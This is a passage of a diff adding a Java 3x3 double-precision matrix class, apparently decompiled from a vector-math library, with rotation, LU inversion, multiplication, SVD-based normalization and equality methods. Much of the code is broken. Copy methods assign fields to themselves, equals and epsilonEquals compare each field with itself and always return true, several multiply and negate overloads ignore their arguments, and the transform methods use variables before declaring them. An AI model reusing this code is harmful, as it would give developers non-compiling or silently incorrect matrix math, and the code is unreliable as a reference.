+    } else {
+      mag = 1.0D / mag;
+      double ax = x * mag;
+      double ay = y * mag;
+      double az = z * mag;
+      double sinTheta = Math.sin(angle);
+      double cosTheta = Math.cos(angle);
+      double t = 1.0D - cosTheta;
+      
+      double xz = ax * az;
+      double xy = ax * ay;
+      double yz = ay * az;
+      
+      m00 = (t * ax * ax + cosTheta);
+      m01 = (t * xy - sinTheta * az);
+      m02 = (t * xz + sinTheta * ay);
+      
+      m10 = (t * xy + sinTheta * az);
+      m11 = (t * ay * ay + cosTheta);
+      m12 = (t * yz - sinTheta * ax);
+      
+      m20 = (t * xz - sinTheta * ay);
+      m21 = (t * yz + sinTheta * ax);
+      m22 = (t * az * az + cosTheta);
+    }
+  }
+  
+
+
+
+
+
+  public final void set(Matrix3f m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+  }
+  
+
+
+
+
+
+  public final void set(Matrix3d m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+  }
+  
+
+
+
+
+
+
+  public final void set(double[] m)
+  {
+    m00 = m[0];
+    m01 = m[1];
+    m02 = m[2];
+    
+    m10 = m[3];
+    m11 = m[4];
+    m12 = m[5];
+    
+    m20 = m[6];
+    m21 = m[7];
+    m22 = m[8];
+  }
+  
+
+
+
+
+
+
+  public final void invert(Matrix3d m1)
+  {
+    invertGeneral(m1);
+  }
+  
+
+
+
+  public final void invert()
+  {
+    invertGeneral(this);
+  }
+  
+
+
+
+
+
+
+
+  private final void invertGeneral(Matrix3d m1)
+  {
+    double[] result = new double[9];
+    int[] row_perm = new int[3];
+    
+    double[] tmp = new double[9];
+    
+
+
+
+
+    tmp[0] = m00;
+    tmp[1] = m01;
+    tmp[2] = m02;
+    
+    tmp[3] = m10;
+    tmp[4] = m11;
+    tmp[5] = m12;
+    
+    tmp[6] = m20;
+    tmp[7] = m21;
+    tmp[8] = m22;
+    
+
+
+    if (!luDecomposition(tmp, row_perm))
+    {
+      throw new SingularMatrixException(VecMathI18N.getString("Matrix3d12"));
+    }
+    
+
+    for (int i = 0; i < 9; i++) result[i] = 0.0D;
+    result[0] = 1.0D;result[4] = 1.0D;result[8] = 1.0D;
+    luBacksubstitution(tmp, row_perm, result);
+    
+    m00 = result[0];
+    m01 = result[1];
+    m02 = result[2];
+    
+    m10 = result[3];
+    m11 = result[4];
+    m12 = result[5];
+    
+    m20 = result[6];
+    m21 = result[7];
+    m22 = result[8];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static boolean luDecomposition(double[] matrix0, int[] row_perm)
+  {
+    double[] row_scale = new double[3];
+    
+
+
+
+
+
+
+    int ptr = 0;
+    int rs = 0;
+    
+
+    int i = 3;
+    while (i-- != 0) {
+      double big = 0.0D;
+      
+
+      int j = 3;
+      while (j-- != 0) {
+        double temp = matrix0[(ptr++)];
+        temp = Math.abs(temp);
+        if (temp > big) {
+          big = temp;
+        }
+      }
+      
+
+      if (big == 0.0D) {
+        return false;
+      }
+      row_scale[(rs++)] = (1.0D / big);
+    }
+    
+
+
+
+
+
+    int mtx = 0;
+    
+
+    for (int j = 0; j < 3; j++)
+    {
+
+
+
+
+      for (int i = 0; i < j; i++) {
+        int target = mtx + 3 * i + j;
+        double sum = matrix0[target];
+        int k = i;
+        int p1 = mtx + 3 * i;
+        int p2 = mtx + j;
+        while (k-- != 0) {
+          sum -= matrix0[p1] * matrix0[p2];
+          p1++;
+          p2 += 3;
+        }
+        matrix0[target] = sum;
+      }
+      
+
+
+      double big = 0.0D;
+      int imax = -1;
+      for (i = j; i < 3; i++) {
+        int target = mtx + 3 * i + j;
+        double sum = matrix0[target];
+        int k = j;
+        int p1 = mtx + 3 * i;
+        int p2 = mtx + j;
+        while (k-- != 0) {
+          sum -= matrix0[p1] * matrix0[p2];
+          p1++;
+          p2 += 3;
+        }
+        matrix0[target] = sum;
+        
+        double temp;
+        if ((temp = row_scale[i] * Math.abs(sum)) >= big) {
+          big = temp;
+          imax = i;
+        }
+      }
+      
+      if (imax < 0) {
+        throw new RuntimeException(VecMathI18N.getString("Matrix3d13"));
+      }
+      
+
+      if (j != imax)
+      {
+        int k = 3;
+        int p1 = mtx + 3 * imax;
+        int p2 = mtx + 3 * j;
+        while (k-- != 0) {
+          double temp = matrix0[p1];
+          matrix0[(p1++)] = matrix0[p2];
+          matrix0[(p2++)] = temp;
+        }
+        
+
+        row_scale[imax] = row_scale[j];
+      }
+      
+
+      row_perm[j] = imax;
+      
+
+      if (matrix0[(mtx + 3 * j + j)] == 0.0D) {
+        return false;
+      }
+      
+
+      if (j != 2) {
+        double temp = 1.0D / matrix0[(mtx + 3 * j + j)];
+        int target = mtx + 3 * (j + 1) + j;
+        i = 2 - j;
+        while (i-- != 0) {
+          matrix0[target] *= temp;
+          target += 3;
+        }
+      }
+    }
+    
+
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static void luBacksubstitution(double[] matrix1, int[] row_perm, double[] matrix2)
+  {
+    int rp = 0;
+    
+
+    for (int k = 0; k < 3; k++)
+    {
+      int cv = k;
+      int ii = -1;
+      
+
+      for (int i = 0; i < 3; i++)
+      {
+
+        int ip = row_perm[(rp + i)];
+        double sum = matrix2[(cv + 3 * ip)];
+        matrix2[(cv + 3 * ip)] = matrix2[(cv + 3 * i)];
+        if (ii >= 0)
+        {
+          int rv = i * 3;
+          for (int j = ii; j <= i - 1; j++) {
+            sum -= matrix1[(rv + j)] * matrix2[(cv + 3 * j)];
+          }
+        }
+        if (sum != 0.0D) {
+          ii = i;
+        }
+        matrix2[(cv + 3 * i)] = sum;
+      }
+      
+
+
+      int rv = 6;
+      matrix2[(cv + 6)] /= matrix1[(rv + 2)];
+      
+      rv -= 3;
+      matrix2[(cv + 3)] = ((matrix2[(cv + 3)] - matrix1[(rv + 2)] * matrix2[(cv + 6)]) / matrix1[(rv + 1)]);
+      
+
+      rv -= 3;
+      matrix2[(cv + 0)] = ((matrix2[(cv + 0)] - matrix1[(rv + 1)] * matrix2[(cv + 3)] - matrix1[(rv + 2)] * matrix2[(cv + 6)]) / matrix1[(rv + 0)]);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final double determinant()
+  {
+    double total = m00 * (m11 * m22 - m12 * m21) + m01 * (m12 * m20 - m10 * m22) + m02 * (m10 * m21 - m11 * m20);
+    
+
+    return total;
+  }
+  
+
+
+
+
+
+  public final void set(double scale)
+  {
+    m00 = scale;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    
+    m10 = 0.0D;
+    m11 = scale;
+    m12 = 0.0D;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = scale;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotX(double angle)
+  {
+    double sinAngle = Math.sin(angle);
+    double cosAngle = Math.cos(angle);
+    
+    m00 = 1.0D;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    
+    m10 = 0.0D;
+    m11 = cosAngle;
+    m12 = (-sinAngle);
+    
+    m20 = 0.0D;
+    m21 = sinAngle;
+    m22 = cosAngle;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotY(double angle)
+  {
+    double sinAngle = Math.sin(angle);
+    double cosAngle = Math.cos(angle);
+    
+    m00 = cosAngle;
+    m01 = 0.0D;
+    m02 = sinAngle;
+    
+    m10 = 0.0D;
+    m11 = 1.0D;
+    m12 = 0.0D;
+    
+    m20 = (-sinAngle);
+    m21 = 0.0D;
+    m22 = cosAngle;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotZ(double angle)
+  {
+    double sinAngle = Math.sin(angle);
+    double cosAngle = Math.cos(angle);
+    
+    m00 = cosAngle;
+    m01 = (-sinAngle);
+    m02 = 0.0D;
+    
+    m10 = sinAngle;
+    m11 = cosAngle;
+    m12 = 0.0D;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = 1.0D;
+  }
+  
+
+
+
+
+  public final void mul(double scalar)
+  {
+    m00 *= scalar;
+    m01 *= scalar;
+    m02 *= scalar;
+    
+    m10 *= scalar;
+    m11 *= scalar;
+    m12 *= scalar;
+    
+    m20 *= scalar;
+    m21 *= scalar;
+    m22 *= scalar;
+  }
+  
+
+
+
+
+
+
+
+  public final void mul(double scalar, Matrix3d m1)
+  {
+    m00 = (scalar * m00);
+    m01 = (scalar * m01);
+    m02 = (scalar * m02);
+    
+    m10 = (scalar * m10);
+    m11 = (scalar * m11);
+    m12 = (scalar * m12);
+    
+    m20 = (scalar * m20);
+    m21 = (scalar * m21);
+    m22 = (scalar * m22);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void mul(Matrix3d m1)
+  {
+    double m00 = this.m00 * m00 + this.m01 * m10 + this.m02 * m20;
+    double m01 = this.m00 * m01 + this.m01 * m11 + this.m02 * m21;
+    double m02 = this.m00 * m02 + this.m01 * m12 + this.m02 * m22;
+    
+    double m10 = this.m10 * m00 + this.m11 * m10 + this.m12 * m20;
+    double m11 = this.m10 * m01 + this.m11 * m11 + this.m12 * m21;
+    double m12 = this.m10 * m02 + this.m11 * m12 + this.m12 * m22;
+    
+    double m20 = this.m20 * m00 + this.m21 * m10 + this.m22 * m20;
+    double m21 = this.m20 * m01 + this.m21 * m11 + this.m22 * m21;
+    double m22 = this.m20 * m02 + this.m21 * m12 + this.m22 * m22;
+    
+    this.m00 = m00;this.m01 = m01;this.m02 = m02;
+    this.m10 = m10;this.m11 = m11;this.m12 = m12;
+    this.m20 = m20;this.m21 = m21;this.m22 = m22;
+  }
+  
+
+
+
+
+
+
+  public final void mul(Matrix3d m1, Matrix3d m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m01 * m10 + m02 * m20);
+      this.m01 = (m00 * m01 + m01 * m11 + m02 * m21);
+      this.m02 = (m00 * m02 + m01 * m12 + m02 * m22);
+      
+      this.m10 = (m10 * m00 + m11 * m10 + m12 * m20);
+      this.m11 = (m10 * m01 + m11 * m11 + m12 * m21);
+      this.m12 = (m10 * m02 + m11 * m12 + m12 * m22);
+      
+      this.m20 = (m20 * m00 + m21 * m10 + m22 * m20);
+      this.m21 = (m20 * m01 + m21 * m11 + m22 * m21);
+      this.m22 = (m20 * m02 + m21 * m12 + m22 * m22);
+
+    }
+    else
+    {
+
+      double m00 = m00 * m00 + m01 * m10 + m02 * m20;
+      double m01 = m00 * m01 + m01 * m11 + m02 * m21;
+      double m02 = m00 * m02 + m01 * m12 + m02 * m22;
+      
+      double m10 = m10 * m00 + m11 * m10 + m12 * m20;
+      double m11 = m10 * m01 + m11 * m11 + m12 * m21;
+      double m12 = m10 * m02 + m11 * m12 + m12 * m22;
+      
+      double m20 = m20 * m00 + m21 * m10 + m22 * m20;
+      double m21 = m20 * m01 + m21 * m11 + m22 * m21;
+      double m22 = m20 * m02 + m21 * m12 + m22 * m22;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void mulNormalize(Matrix3d m1)
+  {
+    double[] tmp = new double[9];
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    tmp[0] = (m00 * m00 + m01 * m10 + m02 * m20);
+    tmp[1] = (m00 * m01 + m01 * m11 + m02 * m21);
+    tmp[2] = (m00 * m02 + m01 * m12 + m02 * m22);
+    
+    tmp[3] = (m10 * m00 + m11 * m10 + m12 * m20);
+    tmp[4] = (m10 * m01 + m11 * m11 + m12 * m21);
+    tmp[5] = (m10 * m02 + m11 * m12 + m12 * m22);
+    
+    tmp[6] = (m20 * m00 + m21 * m10 + m22 * m20);
+    tmp[7] = (m20 * m01 + m21 * m11 + m22 * m21);
+    tmp[8] = (m20 * m02 + m21 * m12 + m22 * m22);
+    
+    compute_svd(tmp, tmp_scale, tmp_rot);
+    
+    m00 = tmp_rot[0];
+    m01 = tmp_rot[1];
+    m02 = tmp_rot[2];
+    
+    m10 = tmp_rot[3];
+    m11 = tmp_rot[4];
+    m12 = tmp_rot[5];
+    
+    m20 = tmp_rot[6];
+    m21 = tmp_rot[7];
+    m22 = tmp_rot[8];
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void mulNormalize(Matrix3d m1, Matrix3d m2)
+  {
+    double[] tmp = new double[9];
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    tmp[0] = (m00 * m00 + m01 * m10 + m02 * m20);
+    tmp[1] = (m00 * m01 + m01 * m11 + m02 * m21);
+    tmp[2] = (m00 * m02 + m01 * m12 + m02 * m22);
+    
+    tmp[3] = (m10 * m00 + m11 * m10 + m12 * m20);
+    tmp[4] = (m10 * m01 + m11 * m11 + m12 * m21);
+    tmp[5] = (m10 * m02 + m11 * m12 + m12 * m22);
+    
+    tmp[6] = (m20 * m00 + m21 * m10 + m22 * m20);
+    tmp[7] = (m20 * m01 + m21 * m11 + m22 * m21);
+    tmp[8] = (m20 * m02 + m21 * m12 + m22 * m22);
+    
+    compute_svd(tmp, tmp_scale, tmp_rot);
+    
+    m00 = tmp_rot[0];
+    m01 = tmp_rot[1];
+    m02 = tmp_rot[2];
+    
+    m10 = tmp_rot[3];
+    m11 = tmp_rot[4];
+    m12 = tmp_rot[5];
+    
+    m20 = tmp_rot[6];
+    m21 = tmp_rot[7];
+    m22 = tmp_rot[8];
+  }
+  
+
+
+
+
+
+
+
+  public final void mulTransposeBoth(Matrix3d m1, Matrix3d m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m10 * m01 + m20 * m02);
+      this.m01 = (m00 * m10 + m10 * m11 + m20 * m12);
+      this.m02 = (m00 * m20 + m10 * m21 + m20 * m22);
+      
+      this.m10 = (m01 * m00 + m11 * m01 + m21 * m02);
+      this.m11 = (m01 * m10 + m11 * m11 + m21 * m12);
+      this.m12 = (m01 * m20 + m11 * m21 + m21 * m22);
+      
+      this.m20 = (m02 * m00 + m12 * m01 + m22 * m02);
+      this.m21 = (m02 * m10 + m12 * m11 + m22 * m12);
+      this.m22 = (m02 * m20 + m12 * m21 + m22 * m22);
+
+    }
+    else
+    {
+
+      double m00 = m00 * m00 + m10 * m01 + m20 * m02;
+      double m01 = m00 * m10 + m10 * m11 + m20 * m12;
+      double m02 = m00 * m20 + m10 * m21 + m20 * m22;
+      
+      double m10 = m01 * m00 + m11 * m01 + m21 * m02;
+      double m11 = m01 * m10 + m11 * m11 + m21 * m12;
+      double m12 = m01 * m20 + m11 * m21 + m21 * m22;
+      
+      double m20 = m02 * m00 + m12 * m01 + m22 * m02;
+      double m21 = m02 * m10 + m12 * m11 + m22 * m12;
+      double m22 = m02 * m20 + m12 * m21 + m22 * m22;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void mulTransposeRight(Matrix3d m1, Matrix3d m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m01 * m01 + m02 * m02);
+      this.m01 = (m00 * m10 + m01 * m11 + m02 * m12);
+      this.m02 = (m00 * m20 + m01 * m21 + m02 * m22);
+      
+      this.m10 = (m10 * m00 + m11 * m01 + m12 * m02);
+      this.m11 = (m10 * m10 + m11 * m11 + m12 * m12);
+      this.m12 = (m10 * m20 + m11 * m21 + m12 * m22);
+      
+      this.m20 = (m20 * m00 + m21 * m01 + m22 * m02);
+      this.m21 = (m20 * m10 + m21 * m11 + m22 * m12);
+      this.m22 = (m20 * m20 + m21 * m21 + m22 * m22);
+
+    }
+    else
+    {
+
+      double m00 = m00 * m00 + m01 * m01 + m02 * m02;
+      double m01 = m00 * m10 + m01 * m11 + m02 * m12;
+      double m02 = m00 * m20 + m01 * m21 + m02 * m22;
+      
+      double m10 = m10 * m00 + m11 * m01 + m12 * m02;
+      double m11 = m10 * m10 + m11 * m11 + m12 * m12;
+      double m12 = m10 * m20 + m11 * m21 + m12 * m22;
+      
+      double m20 = m20 * m00 + m21 * m01 + m22 * m02;
+      double m21 = m20 * m10 + m21 * m11 + m22 * m12;
+      double m22 = m20 * m20 + m21 * m21 + m22 * m22;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void mulTransposeLeft(Matrix3d m1, Matrix3d m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m10 * m10 + m20 * m20);
+      this.m01 = (m00 * m01 + m10 * m11 + m20 * m21);
+      this.m02 = (m00 * m02 + m10 * m12 + m20 * m22);
+      
+      this.m10 = (m01 * m00 + m11 * m10 + m21 * m20);
+      this.m11 = (m01 * m01 + m11 * m11 + m21 * m21);
+      this.m12 = (m01 * m02 + m11 * m12 + m21 * m22);
+      
+      this.m20 = (m02 * m00 + m12 * m10 + m22 * m20);
+      this.m21 = (m02 * m01 + m12 * m11 + m22 * m21);
+      this.m22 = (m02 * m02 + m12 * m12 + m22 * m22);
+
+    }
+    else
+    {
+
+      double m00 = m00 * m00 + m10 * m10 + m20 * m20;
+      double m01 = m00 * m01 + m10 * m11 + m20 * m21;
+      double m02 = m00 * m02 + m10 * m12 + m20 * m22;
+      
+      double m10 = m01 * m00 + m11 * m10 + m21 * m20;
+      double m11 = m01 * m01 + m11 * m11 + m21 * m21;
+      double m12 = m01 * m02 + m11 * m12 + m21 * m22;
+      
+      double m20 = m02 * m00 + m12 * m10 + m22 * m20;
+      double m21 = m02 * m01 + m12 * m11 + m22 * m21;
+      double m22 = m02 * m02 + m12 * m12 + m22 * m22;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;
+    }
+  }
+  
+
+
+
+
+  public final void normalize()
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = tmp_rot[0];
+    m01 = tmp_rot[1];
+    m02 = tmp_rot[2];
+    
+    m10 = tmp_rot[3];
+    m11 = tmp_rot[4];
+    m12 = tmp_rot[5];
+    
+    m20 = tmp_rot[6];
+    m21 = tmp_rot[7];
+    m22 = tmp_rot[8];
+  }
+  
+
+
+
+
+
+
+
+  public final void normalize(Matrix3d m1)
+  {
+    double[] tmp = new double[9];
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    tmp[0] = m00;
+    tmp[1] = m01;
+    tmp[2] = m02;
+    
+    tmp[3] = m10;
+    tmp[4] = m11;
+    tmp[5] = m12;
+    
+    tmp[6] = m20;
+    tmp[7] = m21;
+    tmp[8] = m22;
+    
+    compute_svd(tmp, tmp_scale, tmp_rot);
+    
+    m00 = tmp_rot[0];
+    m01 = tmp_rot[1];
+    m02 = tmp_rot[2];
+    
+    m10 = tmp_rot[3];
+    m11 = tmp_rot[4];
+    m12 = tmp_rot[5];
+    
+    m20 = tmp_rot[6];
+    m21 = tmp_rot[7];
+    m22 = tmp_rot[8];
+  }
+  
+
+
+
+
+
+  public final void normalizeCP()
+  {
+    double mag = 1.0D / Math.sqrt(m00 * m00 + m10 * m10 + m20 * m20);
+    m00 *= mag;
+    m10 *= mag;
+    m20 *= mag;
+    
+    mag = 1.0D / Math.sqrt(m01 * m01 + m11 * m11 + m21 * m21);
+    m01 *= mag;
+    m11 *= mag;
+    m21 *= mag;
+    
+    m02 = (m10 * m21 - m11 * m20);
+    m12 = (m01 * m20 - m00 * m21);
+    m22 = (m00 * m11 - m01 * m10);
+  }
+  
+
+
+
+
+
+
+  public final void normalizeCP(Matrix3d m1)
+  {
+    double mag = 1.0D / Math.sqrt(m00 * m00 + m10 * m10 + m20 * m20);
+    m00 *= mag;
+    m10 *= mag;
+    m20 *= mag;
+    
+    mag = 1.0D / Math.sqrt(m01 * m01 + m11 * m11 + m21 * m21);
+    m01 *= mag;
+    m11 *= mag;
+    m21 *= mag;
+    
+    m02 = (m10 * m21 - m11 * m20);
+    m12 = (m01 * m20 - m00 * m21);
+    m22 = (m00 * m11 - m01 * m10);
+  }
+  
+
+
+
+
+
+  public boolean equals(Matrix3d m1)
+  {
+    try
+    {
+      return (m00 == m00) && (m01 == m01) && (m02 == m02) && (m10 == m10) && (m11 == m11) && (m12 == m12) && (m20 == m20) && (m21 == m21) && (m22 == m22);
+    }
+    catch (NullPointerException e2) {}
+    
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Matrix3d m2 = (Matrix3d)t1;
+      return (m00 == m00) && (m01 == m01) && (m02 == m02) && (m10 == m10) && (m11 == m11) && (m12 == m12) && (m20 == m20) && (m21 == m21) && (m22 == m22);
+    }
+    catch (ClassCastException e1)
+    {
+      return false; } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(Matrix3d m1, double epsilon)
+  {
+    double diff = m00 - m00;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m01 - m01;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m02 - m02;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m10 - m10;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m11 - m11;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m12 - m12;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m20 - m20;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m21 - m21;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = m22 - m22;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m00);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m01);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m02);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m10);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m11);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m12);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m20);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m21);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(m22);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+  public final void setZero()
+  {
+    m00 = 0.0D;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    
+    m10 = 0.0D;
+    m11 = 0.0D;
+    m12 = 0.0D;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = 0.0D;
+  }
+  
+
+
+
+
+  public final void negate()
+  {
+    m00 = (-m00);
+    m01 = (-m01);
+    m02 = (-m02);
+    
+    m10 = (-m10);
+    m11 = (-m11);
+    m12 = (-m12);
+    
+    m20 = (-m20);
+    m21 = (-m21);
+    m22 = (-m22);
+  }
+  
+
+
+
+
+
+
+  public final void negate(Matrix3d m1)
+  {
+    m00 = (-m00);
+    m01 = (-m01);
+    m02 = (-m02);
+    
+    m10 = (-m10);
+    m11 = (-m11);
+    m12 = (-m12);
+    
+    m20 = (-m20);
+    m21 = (-m21);
+    m22 = (-m22);
+  }
+  
+
+
+
+
+
+
+  public final void transform(Tuple3d t)
+  {
+    double x = m00 * x + m01 * y + m02 * z;
+    double y = m10 * x + m11 * y + m12 * z;
+    double z = m20 * x + m21 * y + m22 * z;
+    t.set(x, y, z);
+  }
+  
+
+
+
+
+
+
+  public final void transform(Tuple3d t, Tuple3d result)
+  {
+    double x = m00 * x + m01 * y + m02 * z;
+    double y = m10 * x + m11 * y + m12 * z;
+    z = (m20 * x + m21 * y + m22 * z);
+    x = x;
+    y = y;
+  }
+  
+
+
+
+  final void getScaleRotate(double[] scales, double[] rots)
+  {
+    double[] tmp = new double[9];
+    
+    tmp[0] = m00;
+    tmp[1] = m01;
+    tmp[2] = m02;
+    
+    tmp[3] = m10;
+    tmp[4] = m11;
+    tmp[5] = m12;
+    
+    tmp[6] = m20;
+    tmp[7] = m21;
+    tmp[8] = m22;
+    compute_svd(tmp, scales, rots);
+  }
+  
+
+
+
+  static void compute_svd(double[] m, double[] outScale, double[] outRot)
+  {
+    double[] u1 = new double[9];
+    double[] v1 = new double[9];
+    double[] t1 = new double[9];
+    double[] t2 = new double[9];
+    
+    double[] tmp = t1;
+    double[] single_values = t2;
+    
+    double[] rot = new double[9];
+    double[] e = new double[3];
+    double[] scales = new double[3];
+    
+    int negCnt = 0;
+    
+
+
+
+
+
+    for (int i = 0; i < 9; i++) {
+      rot[i] = m[i];
+    }
+    
+
+    if (m[3] * m[3] < 1.110223024E-16D) {
+      u1[0] = 1.0D;u1[1] = 0.0D;u1[2] = 0.0D;
+      u1[3] = 0.0D;u1[4] = 1.0D;u1[5] = 0.0D;
+      u1[6] = 0.0D;u1[7] = 0.0D;u1[8] = 1.0D;
+    } else if (m[0] * m[0] < 1.110223024E-16D) {
+      tmp[0] = m[0];
+      tmp[1] = m[1];
+      tmp[2] = m[2];
+      m[0] = m[3];
+      m[1] = m[4];
+      m[2] = m[5];
+      
+      m[3] = (-tmp[0]);
+      m[4] = (-tmp[1]);
+      m[5] = (-tmp[2]);
+      
+      u1[0] = 0.0D;u1[1] = 1.0D;u1[2] = 0.0D;
+      u1[3] = -1.0D;u1[4] = 0.0D;u1[5] = 0.0D;
+      u1[6] = 0.0D;u1[7] = 0.0D;u1[8] = 1.0D;
+    } else {
+      double g = 1.0D / Math.sqrt(m[0] * m[0] + m[3] * m[3]);
+      double c1 = m[0] * g;
+      double s1 = m[3] * g;
+      tmp[0] = (c1 * m[0] + s1 * m[3]);
+      tmp[1] = (c1 * m[1] + s1 * m[4]);
+      tmp[2] = (c1 * m[2] + s1 * m[5]);
+      
+      m[3] = (-s1 * m[0] + c1 * m[3]);
+      m[4] = (-s1 * m[1] + c1 * m[4]);
+      m[5] = (-s1 * m[2] + c1 * m[5]);
+      
+      m[0] = tmp[0];
+      m[1] = tmp[1];
+      m[2] = tmp[2];
+      u1[0] = c1;u1[1] = s1;u1[2] = 0.0D;
+      u1[3] = (-s1);u1[4] = c1;u1[5] = 0.0D;
+      u1[6] = 0.0D;u1[7] = 0.0D;u1[8] = 1.0D;
+    }
+    
+
+
+    if (m[6] * m[6] >= 1.110223024E-16D) {
+      if (m[0] * m[0] < 1.110223024E-16D) {
+        tmp[0] = m[0];
+        tmp[1] = m[1];
+        tmp[2] = m[2];
+        m[0] = m[6];
+        m[1] = m[7];
+        m[2] = m[8];
+        
+        m[6] = (-tmp[0]);
+        m[7] = (-tmp[1]);
+        m[8] = (-tmp[2]);
+        
+        tmp[0] = u1[0];
+        tmp[1] = u1[1];
+        tmp[2] = u1[2];
+        u1[0] = u1[6];
+        u1[1] = u1[7];
+        u1[2] = u1[8];
+        
+        u1[6] = (-tmp[0]);
+        u1[7] = (-tmp[1]);
+        u1[8] = (-tmp[2]);
+      } else {
+        double g = 1.0D / Math.sqrt(m[0] * m[0] + m[6] * m[6]);
+        double c2 = m[0] * g;
+        double s2 = m[6] * g;
+        tmp[0] = (c2 * m[0] + s2 * m[6]);
+        tmp[1] = (c2 * m[1] + s2 * m[7]);
+        tmp[2] = (c2 * m[2] + s2 * m[8]);
+        
+        m[6] = (-s2 * m[0] + c2 * m[6]);
+        m[7] = (-s2 * m[1] + c2 * m[7]);
+        m[8] = (-s2 * m[2] + c2 * m[8]);
+        m[0] = tmp[0];
+        m[1] = tmp[1];
+        m[2] = tmp[2];
+        
+        tmp[0] = (c2 * u1[0]);
+        tmp[1] = (c2 * u1[1]);
+        u1[2] = s2;
+        
+        tmp[6] = (-u1[0] * s2);
+        tmp[7] = (-u1[1] * s2);
+        u1[8] = c2;
+        u1[0] = tmp[0];
+        u1[1] = tmp[1];
+        u1[6] = tmp[6];
+        u1[7] = tmp[7];
+      }
+    }
+    
+
+    if (m[2] * m[2] < 1.110223024E-16D) {
+      v1[0] = 1.0D;v1[1] = 0.0D;v1[2] = 0.0D;
+      v1[3] = 0.0D;v1[4] = 1.0D;v1[5] = 0.0D;
+      v1[6] = 0.0D;v1[7] = 0.0D;v1[8] = 1.0D;
+    } else if (m[1] * m[1] < 1.110223024E-16D) {
+      tmp[2] = m[2];
+      tmp[5] = m[5];
+      tmp[8] = m[8];
+      m[2] = (-m[1]);
+      m[5] = (-m[4]);
+      m[8] = (-m[7]);
+      
+      m[1] = tmp[2];
+      m[4] = tmp[5];
+      m[7] = tmp[8];
+      
+      v1[0] = 1.0D;v1[1] = 0.0D;v1[2] = 0.0D;
+      v1[3] = 0.0D;v1[4] = 0.0D;v1[5] = -1.0D;
+      v1[6] = 0.0D;v1[7] = 1.0D;v1[8] = 0.0D;
+    } else {
+      double g = 1.0D / Math.sqrt(m[1] * m[1] + m[2] * m[2]);
